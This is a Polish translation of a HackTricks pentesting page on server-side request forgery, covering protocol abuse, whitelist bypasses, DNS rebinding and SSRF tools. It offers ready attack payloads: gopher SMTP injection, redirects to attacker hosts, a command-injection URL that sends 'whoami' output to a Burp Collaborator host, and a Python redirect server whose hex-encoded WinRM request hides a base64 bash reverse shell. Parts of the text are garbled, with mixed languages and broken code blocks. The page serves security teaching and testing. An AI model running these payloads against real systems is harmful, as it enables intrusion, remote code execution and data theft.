hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-02-23 16:42:12 +00:00
..
cloud-ssrf.md Translated ['generic-methodologies-and-resources/external-recon-methodol 2024-02-23 16:42:12 +00:00
README.md Translated to Polish 2024-02-11 01:46:25 +00:00
ssrf-vulnerable-platforms.md Translated to Polish 2024-02-11 01:46:25 +00:00
url-format-bypass.md Translated to Polish 2024-02-11 01:46:25 +00:00

SSRF (Server Side Request Forgery)


Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Podatność na Server-side Request Forgery (SSRF) występuje, gdy atakujący manipuluje aplikacją po stronie serwera, aby wykonywała żądania HTTP do wybranej przez niego domeny. Ta podatność naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.

Przechwytywanie SSRF

Pierwszą rzeczą, jaką musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez ciebie. Do przechwytywania interakcji HTTP lub DNS można użyć narzędzi takich jak:

Ominięcie białej listy domen

Zazwyczaj okaże się, że SSRF działa tylko w określonych domenach lub adresach URL znajdujących się na białej liście. Na następnej stronie znajduje się kompilacja technik, które można spróbować, aby ominąć tę białą listę:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Ominięcie za pomocą przekierowania otwartego

Jeśli serwer jest odpowiednio chroniony, można ominąć wszystkie ograniczenia, wykorzystując przekierowanie otwarte na stronie internetowej. Ponieważ strona internetowa pozwoli na SSRF do tej samej domeny i prawdopodobnie będzie przekierowywać, można wykorzystać przekierowanie otwarte, aby sprawić, że serwer uzyska dostęp do dowolnego zasobu wewnętrznego.
Czytaj więcej tutaj: https://portswigger.net/web-security/ssrf

Protokoły

  • file://

  • Schemat URL file:// jest odwołaniem do /etc/passwd: file:///etc/passwd

  • dict://

  • Schemat URL DICT jest opisany jako wykorzystywany do dostępu do definicji lub list słów za pomocą protokołu DICT. Przykład ilustruje skonstruowany URL, który celuje w określone słowo, bazę danych i numer wpisu, a także potencjalne nadużycie skryptu PHP do połączenia z serwerem DICT przy użyciu dostarczonych przez atakującego poświadczeń: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • Zidentyfikowany jako protokół bezpiecznego transferu plików przez bezpieczną powłokę, podano przykład, w którym skrypt PHP może być wykorzystany do połączenia z złośliwym serwerem SFTP: url=sftp://generic.com:11111/

  • TFTP://

  • Protokół Trivial File Transfer Protocol, działający w oparciu o UDP, jest wspomniany jako przykład skryptu PHP zaprojektowanego do wysyłania żądania do serwera TFTP. Wysyłane jest żądanie TFTP do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • Ten segment obejmuje protokół Lightweight Directory Access Protocol, podkreślając jego wykorzystanie do zarządzania i dostępu do rozproszonych usług informacyjnych katalogów w sieciach IP. Interakcja z serwerem LDAP na localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • Opisana jest metoda wykorzystania podatności SSRF do interakcji z usługami SMTP na localhost, w tym kroki mające na celu ujawnienie wewnętrznych nazw domenowych i dalsze działania dochodzeniowe oparte na tych informacjach.

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - omijanie WAF
  • Jeśli SSRF jest wykonywane przez curl, curl posiada funkcję o nazwie URL globbing, która może być przydatna do omijania WAFów. Na przykład w tym wpisie znajdziesz przykład na przechodzenie ścieżek za pomocą protokołu file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Omawiana jest możliwość protokołu Gopher do określania adresu IP, portu i bajtów do komunikacji z serwerem, wraz z narzędziami takimi jak Gopherus i remote-method-guesser do tworzenia payloadów. Przedstawione są dwa różne zastosowania:

Gopher://

Korzystając z tego protokołu, możesz określić adres IP, port i bajty, które chcesz, aby serwer wysłał. Następnie możesz wykorzystać SSRF, aby komunikować się z dowolnym serwerem TCP (ale musisz wiedzieć, jak rozmawiać z usługą).
Na szczęście możesz użyć Gopherus, aby tworzyć payloady dla wielu usług. Dodatkowo, remote-method-guesser można użyć do tworzenia payloadów gopher dla usług Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

Gopher HTTP is a technique used in Server-Side Request Forgery (SSRF) attacks. It involves exploiting the Gopher protocol to make HTTP requests from the vulnerable server to arbitrary destinations.

The Gopher protocol is a simple protocol used for retrieving and displaying documents over the Internet. It operates on port 70 and uses a hierarchical structure similar to URLs. By crafting a Gopher URL with an HTTP request as the payload, an attacker can trick the server into making unintended HTTP requests.

To perform a Gopher HTTP attack, follow these steps:

  1. Identify a vulnerable parameter that accepts URLs as input.
  2. Craft a Gopher URL with the desired HTTP request as the payload. The payload should be URL-encoded.
  3. Submit the Gopher URL as the input to the vulnerable parameter.
  4. The server will interpret the Gopher URL and make an HTTP request to the specified destination.
  5. Analyze the response from the server to gather information or exploit vulnerabilities.

Gopher HTTP can be used to bypass network restrictions, access internal resources, or perform reconnaissance on the target system. It is important to note that not all servers support the Gopher protocol, so this technique may not be applicable in all cases.

To protect against Gopher HTTP attacks, it is recommended to validate and sanitize user input, especially when accepting URLs as input. Additionally, network filtering and access controls can be implemented to restrict outbound connections to trusted destinations.

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP - Połączenie zwrotne do 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

SSRF za pośrednictwem nagłówka Referrer i innych

Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer w celu śledzenia przychodzących linków, praktyka ta nieumyślnie naraża aplikacje na podatności na podrobienie żądania po stronie serwera (SSRF). Dzieje się tak, ponieważ takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer w celu analizy zawartości strony odsyłającej. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "Collaborator Everywhere", wykorzystującej sposób przetwarzania nagłówka Referer przez narzędzia analityczne w celu identyfikacji potencjalnych powierzchni ataku SSRF.

SSRF za pośrednictwem danych SNI z certyfikatu

Konfiguracja, która umożliwia połączenie z dowolnym backendem za pomocą prostego ustawienia, jest ilustrowana na przykładzie konfiguracji Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Taka konfiguracja naraża na podatność na Server-Side Request Forgery (SSRF), która może być wykorzystana poprzez podanie żądanego adresu IP lub nazwy domeny w polu SNI. Poniżej przedstawiono przykład wykorzystania, aby wymusić połączenie z dowolnym backendem, takim jak internal.host.com, za pomocą polecenia openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Przesyłanie plików za pomocą Wget

SSRF z wstrzyknięciem komend

Warto spróbować takiego payloadu: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderowanie plików PDF

Jeśli strona internetowa automatycznie tworzy plik PDF na podstawie dostarczonych informacji, możesz wstrzyknąć pewien kod JavaScript, który zostanie wykonany przez sam kreator PDF (serwer) podczas tworzenia pliku PDF, co pozwoli na wykorzystanie SSRF. Znajdź więcej informacji tutaj.

Od SSRF do DoS

Utwórz kilka sesji i spróbuj pobrać ciężkie pliki, wykorzystując SSRF z tych sesji.

Funkcje PHP SSRF

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

Przekierowanie SSRF do Gophera

W niektórych przypadkach eksploatacji może być konieczne wysłanie odpowiedzi przekierowania (ewentualnie do użycia innego protokołu, takiego jak gopher). Poniżej znajdują się różne kody Pythona, które służą do odpowiedzi przekierowaniem:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)

self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
```python
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Bypassowanie CORS/SOP za pomocą DNS Rebidding

Jeśli masz problemy z wyciekiem treści z lokalnego IP z powodu CORS/SOP, można użyć DNS Rebidding, aby ominąć to ograniczenie:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

Automatyzacja DNS Rebidding

Singularity of Origin to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne komponenty do ponownego powiązania adresu IP serwera atakującego z adresem IP docelowego komputera i dostarczania ładunków ataku w celu wykorzystania podatnego oprogramowania na docelowym komputerze.

Sprawdź również publicznie działający serwer na stronie http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Wymagania:

  • SSRF
  • Sesje TLS wychodzące
  • Rzeczy na lokalnych portach

Atak:

  1. Poproś użytkownika/bota o dostęp do domeny kontrolowanej przez atakującego
  2. TTL DNS wynosi 0 sekund (dzięki temu ofiara wkrótce ponownie sprawdzi IP domeny)
  3. Między ofiarą a domeną atakującego tworzona jest połączenie TLS. Atakujący wprowadza ładunek wewnątrz Session ID lub Session Ticket.
  4. Domena rozpocznie nieskończoną pętlę przekierowań na samego siebie. Celem tego jest zmuszenie użytkownika/bota do dostępu do domeny, aż ponownie wykona żądanie DNS dla tej domeny.
  5. W żądaniu DNS podawany jest adres IP prywatny (np. 127.0.0.1)
  6. Użytkownik/bot spróbuje ponownie nawiązać połączenie TLS i w tym celu wyśle ID sesji/ticketu (w którym zawarty był ładunek atakującego). Gratulacje, udało ci się poprosić użytkownika/bota o atak na samego siebie.

Należy zauważyć, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (memcache), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.attacker.com:11211 (port musi być zawsze taki sam).
Aby wykonać ten atak, możesz użyć narzędzia: https://github.com/jmdx/TLS-poison/
Aby uzyskać więcej informacji, zapoznaj się z prezentacją, w której wyjaśniono ten atak: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Różnica między blind SSRF a niewidocznym polega na tym, że w przypadku blind nie można zobaczyć odpowiedzi na żądanie SSRF. W związku z tym jest trudniejszy do wykorzystania, ponieważ można wykorzystać tylko dobrze znane podatności.

SSRF oparty na czasie

Sprawdzając czas odpowiedzi serwera, można ustalić, czy zasób istnieje czy nie (może zajmie więcej czasu dostęp do istniejącego zasobu niż dostęp do nieistniejącego)

Wykorzystanie SSRF w chmurze

Jeśli znajdziesz podatność SSRF w maszynie działającej w środowisku chmurowym, możesz uzyskać interesujące informacje na temat środowiska chmurowego, a nawet poświadczenia:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Podatne platformy SSRF

Wiele znanych platform zawierało lub zawiera podatności SSRF, sprawdź je tutaj:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Narzędzia

SSRFMap

Narzędzie do wykrywania i wykorzystywania podatności SSRF

Gopherus

To narzędzie generuje ładunki Gopher dla:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser to skaner podatności Java RMI, który obsługuje operacje atakujące dla większości powszechnych podatności Java RMI. Większość dostępnych operacji obsługuje opcję --ssrf, aby wygenerować ładunek SSRF dla żądanej operacji. W połączeniu z opcją --gopher można bezpośrednio generować gotowe ładunki gopher.

SSRF Proxy

SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruchu HTTP klienta przez serwery HTTP podatne na Server-Side Request Forgery (SSRF).

Do ćwiczeń

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

  • Jeśli chcesz zobaczyć